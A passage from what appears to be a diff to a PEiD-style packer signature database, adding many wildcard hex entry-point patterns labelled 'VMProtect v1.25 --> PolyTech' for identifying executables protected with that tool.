+signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 5F 5F 58 5E 5D 9D 59 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5B 5E 5B 5D 59 5A 9D 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5A 5E 5E 59 9D 5D 5B 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5F 5F 9D 59 5D 5A 5B 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 9D 5D 58 5B 5A 5A 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 5D 59 9D 5B 58 5A 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 58 5D 5B 59 9D 5A 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5A 5F 58 58 5D 59 5B 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5A 59 5D 5B 58 5F 9D 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 59 5D 9D 58 5B 5A 5F 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5F 5B 59 5D 58 9D 5A 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 5D 5A 5F 58 59 58 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 5A 59 5D 58 5F 9D 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 58 5F 5F 5B 5A 59 5D 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 58 5B 5D 5F 5E 5A 5F 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 5B 5D 5E 5B 5A 59 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 59 5A 59 5E 5D 5B 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 5F 5B 58 59 5D 9D 5D 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5A 9D 5F 5B 5B 5D 58 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5A 9D 5E 58 5F 5D 59 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 59 59 5E 5D 5F 5A 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5F 5D 5E 5B 58 59 5A 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5D 5E 58 59 5B 5F 5A 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 9D 5A 5F 5D 5A 5E 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 5A 5F 59 5D 5D 5E 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 59 5F 5A 5E 5D 9D 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5A 5B 5E 5F 9D 5D 5F 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5E 5F 5B 5D 58 5A 59 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5E 5A 58 5F 5D 5B 59 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5F 5E 5B 59 5D 5A 9D 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5F 5E 59 9D 5D 5B 59 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5A 5E 5F 5B 5B 5D 59 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 59 59 5A 5B 9D 5E 58 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 9D 5A 5D 5F 58 5B 59 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5F 58 5B 5A 59 5D 9D 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5A 59 5E 5D 5F 5B 5A 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5B 9D 5D 5A 5E 58 5A 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5A 59 5D 9D 5E 58 5B 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5D 5A 58 9D 5B 5E 5F 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 5D 5E 5F 58 9D 5A 58 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 59 5E 5F 5D 5A 9D 58 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 9D 5B 5F 5E 5D 58 59 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5A 5F 58 9D 5E 5B 59 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 59 9D 5A 5E 58 5B 5F 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 9D 58 59 58 5E 5D 5A 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5F 5B 58 5A 9D 58 5E 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5E 5F 5D 5A 5B 58 5A 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5E 5A 5F 5B 9D 5B 58 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5D 59 5D 5F 58 5E 5B 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 59 5E 5D 5F 9D 5E 5B 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 58 5B 59 5E 5D 5F 5F 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5E 5B 58 9D 59 5D 5F 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 59 58 5D 5E 5D 5F 5B 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5F 5F 5E 5D 5A 5B 9D 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5F 5D 9D 5E 5B 5A 5A 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5F 5E 58 5D 59 5D 5B 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5B 5F 58 5D 5E 5D 59 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5B 5D 5E 58 5F 59 5D 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5B 5D 5E 5A 5E 59 9D 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 9D 5F 59 5A 5B 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5F 58 5A 5E 5D 5E 5B 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5D 5D 5A 5F 5E 58 9D 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5A 5B 9D 58 5E 5F 58 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 9D 5B 5E 5A 5D 5F 5F 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5A 59 5E 9D 5E 5D 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 9D 5A 5B 59 58 5E 58 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5F 5B 5D 58 5E 5A 59 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5E 58 5F 5A 59 5B 5B 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5D 5B 5F 5E 59 58 9D 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5B 5A 58 5D 59 5F 9D 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5A 5F 5B 9D 58 5E 59 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5A 9D 58 5F 5E 5E 59 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 59 9D 5D 5A 5E 58 5F 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5D 58 9D 59 5A 5F 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5E 58 5A 9D 5F 59 5B 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 9D 5F 5D 58 5A 5E 59 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5E 59 5F 5D 5D 9D 58 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5F 5E 58 9D 59 5A 5B 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 58 5D 5F 9D 5A 5E 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5A 5E 58 9D 5D 58 5B 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 9D 5B 5D 5E 5F 5A 59 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5E 58 5D 5B 9D 5F 5A 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5D 5F 5E 5A 5B 9D 5B 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 9D 5E 5F 5A 58 5D 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5B 5E 5D 58 5F 9D 59 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5A 5D 5B 5E 59 5A 9D 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 59 5E 5D 5B 9D 5F 5A 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5F 5B 5F 5D 59 5E 9D 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5E 5A 59 5D 59 9D 5F 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5B 5E 5D 9D 5B 59 5A 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 59 5B 5D 5A 5E 9D 5F 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 59 5E 5D 5D 5F 5A 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5E 5A 58 5F 58 59 9D 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 59 5F 5E 58 9D 5A 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 59 9D 5D 58 5B 5E 5A 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 58 5A 5B 5D 9D 5F 5E 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 5E 5A 5E 59 5F 5D 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5E 5D 9D 5B 58 5F 59 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5B 59 5D 5E 58 5F 9D 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5B 58 9D 5E 5F 5D 59 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 58 9D 59 5F 5E 59 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 5D 58 5F 5B 59 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 5B 5F 5B 58 5D 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 8D 76 02 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 83 EE FE E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 83 C6 02 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 C6 02 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 8D 76 02 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 EE FE 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 8D 76 02 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 EE FE 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 83 EE FE E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 8D 76 02 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 C6 02 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 8D 76 02 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 5D 5A 5A 5F 5B 9D 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 59 5B 59 5A 5D 9D 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 59 5E 5A 58 5B 5F 59 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5D 5F 5E 9D 58 5A 59 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5D 5F 5B 5E 9D 58 5A 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 59 5D 9D 5E 5F 5A 5D 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5E 5D 5B 9D 59 58 58 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5E 9D 5F 59 5A 5D 58 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 9D 5B 59 5E 5B 5D 58 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5D 5E 5F 9D 5A 59 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 9D 5F 5D 5E 5B 59 5A 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 5F 58 5B 59 5B 5D 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 58 5A 5F 5B 5E 5D 5D 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 5E 59 5E 5D 5B 5A 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5A 9D 5D 59 5B 59 5E 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 5F 5A 59 5D 9D 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5E 9D 58 5B 5F 59 58 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5D 58 59 9D 5E 5A 5B 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 59 5D 5D 58 5B 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5A 5D 5B 9D 59 5F 5F 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5D 59 5F 5E 58 58 5A 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 5F 58 5B 5A 5A 59 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5F 5A 59 58 5D 9D 5E 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5A 5F 59 5B 5D 58 5B 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5F 5E 5E 5A 5D 5B 59 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 5F 5D 5B 5A 5A 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 59 5A 5B 58 5B 5F 5E 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 59 58 5B 5E 5F 5A 9D 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5E 5A 58 5D 9D 59 5F 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 5F 5E 58 9D 5D 5A 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5A 5B 5E 58 5D 5F 9D 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 9D 58 5D 5F 5A 5D 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 5E 5A 5F 58 5D 9D 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5F 5A 5B 5E 58 9D 59 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5F 58 59 5B 5D 5E 9D 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 59 5D 5F 9D 5A 58 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5A 5F 5E 5D 58 58 59 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 58 5B 5E 59 5D 